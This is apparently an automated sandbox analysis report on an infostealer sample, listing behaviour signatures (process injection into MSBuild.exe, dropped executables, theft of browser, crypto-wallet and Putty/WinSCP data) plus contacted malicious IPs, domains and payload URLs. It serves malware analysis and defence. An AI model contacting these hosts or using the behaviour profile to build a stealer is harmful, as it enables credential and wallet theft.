Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C678EA0 sqlite3_clear_bindings, 1_2_6C678EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C750B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob, 1_2_6C750B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C676410 bind,WSAGetLastError, 1_2_6C676410
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1483168 Sample: 1lKbb2hF7fYToopfpmEvlyRN.exe Startdate: 26/07/2024 Architecture: WINDOWS Score: 100 44 t.me 2->44 46 steamcommunity.com 2->46 48 5 other IPs or domains 2->48 76 Found malware configuration 2->76 78 Malicious sample detected (through community Yara rule) 2->78 80 Antivirus detection for URL or domain 2->80 82 16 other signatures 2->82 9 1lKbb2hF7fYToopfpmEvlyRN.exe 3 2->9         started        signatures3 process4 file5 34 C:\Users\...\1lKbb2hF7fYToopfpmEvlyRN.exe.log, ASCII 9->34 dropped 84 Found many strings related to Crypto-Wallets (likely being stolen) 9->84 86 Writes to foreign memory regions 9->86 88 Allocates memory in foreign processes 9->88 90 Injects a PE file into a foreign processes 9->90 13 MSBuild.exe 40 9->13         started        signatures6 process7 dnsIp8 56 steamcommunity.com 23.199.218.33, 443, 49730 AKAMAI-ASUS United States 13->56 58 5.75.212.60, 443, 49731, 49732 HETZNER-ASDE Germany 13->58 60 147.45.44.104, 49757, 80 FREE-NET-ASFREEnetEU Russian Federation 13->60 36 C:\Users\user\AppData\Local\...\gfn1go[1].exe, PE32 13->36 dropped 38 C:\Users\user\AppData\Local\...\jen1hg[1].exe, PE32 13->38 dropped 40 C:\ProgramData\softokn3.dll, PE32 13->40 dropped 42 7 other files (5 malicious) 13->42 dropped 98 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 13->98 100 Found many strings related to Crypto-Wallets (likely being stolen) 13->100 102 Contains functionality to inject code into remote processes 13->102 104 4 other signatures 13->104 18 DGDBKFBAKF.exe 3 13->18         started        21 DBAAFIDGDA.exe 3 13->21         started        23 WerFault.exe 13->23         started        file9 signatures10 process11 file12 62 Multi AV Scanner detection for dropped file 18->62 64 Machine Learning detection for dropped file 18->64 66 Writes to foreign memory regions 18->66 68 LummaC encrypted strings found 18->68 26 MSBuild.exe 18->26         started        70 Found many strings related to Crypto-Wallets (likely being stolen) 21->70 72 Allocates memory in foreign processes 21->72 74 Injects a PE file into a foreign processes 21->74 30 MSBuild.exe 16 21->30         started        32 C:\ProgramData\Microsoft\...\Report.wer, Unicode 23->32 dropped signatures13 process14 dnsIp15 50 liernessfornicsa.shop 172.67.213.85, 443, 49760, 49762 CLOUDFLARENETUS United States 26->50 92 Query firmware table information (likely to detect VMs) 26->92 94 Tries to harvest and steal browser information (history, passwords, etc) 26->94 96 Tries to steal Crypto Currency Wallets 26->96 52 t.me 149.154.167.99, 443, 49780 TELEGRAMRU United Kingdom 30->52 54 65.108.151.108, 443, 49781, 49782 ALABANZA-BALTUS United States 30->54 signatures16
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
23.199.218.33
 steamcommunity.com United States
16625 AKAMAI-ASUS true
5.75.212.60
 unknown Germany
24940 HETZNER-ASDE false
172.67.213.85
 liernessfornicsa.shop United States
13335 CLOUDFLARENETUS true
147.45.44.104
 unknown Russian Federation
2895 FREE-NET-ASFREEnetEU false
65.108.151.108
 unknown United States
11022 ALABANZA-BALTUS false
149.154.167.99
 t.me United Kingdom
62041 TELEGRAMRU true

Contacted Domains

Name IP Active
bg.microsoft.map.fastly.net 199.232.210.172 true
steamcommunity.com 23.199.218.33 true
arpdabl.zapto.org 77.91.101.71 true
t.me 149.154.167.99 true
liernessfornicsa.shop 172.67.213.85 true
fp2e7a.wpc.phicdn.net 192.229.221.95 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://5.75.212.60/sqls.dll false
  • Avira URL Cloud: malware
 unknown
callosallsaospz.shop true
  • Avira URL Cloud: malware
 unknown
liernessfornicsa.shop true
  • Avira URL Cloud: safe
 unknown
shepherdlyopzc.shop true
  • Avira URL Cloud: safe
 unknown
upknittsoappz.shop true
  • Avira URL Cloud: safe
 unknown
https://steamcommunity.com/profiles/76561199747278259 true
  • Avira URL Cloud: malware
 unknown
unseaffarignsk.shop true
  • Avira URL Cloud: safe
 unknown
https://5.75.212.60/softokn3.dll false
  • Avira URL Cloud: malware
 unknown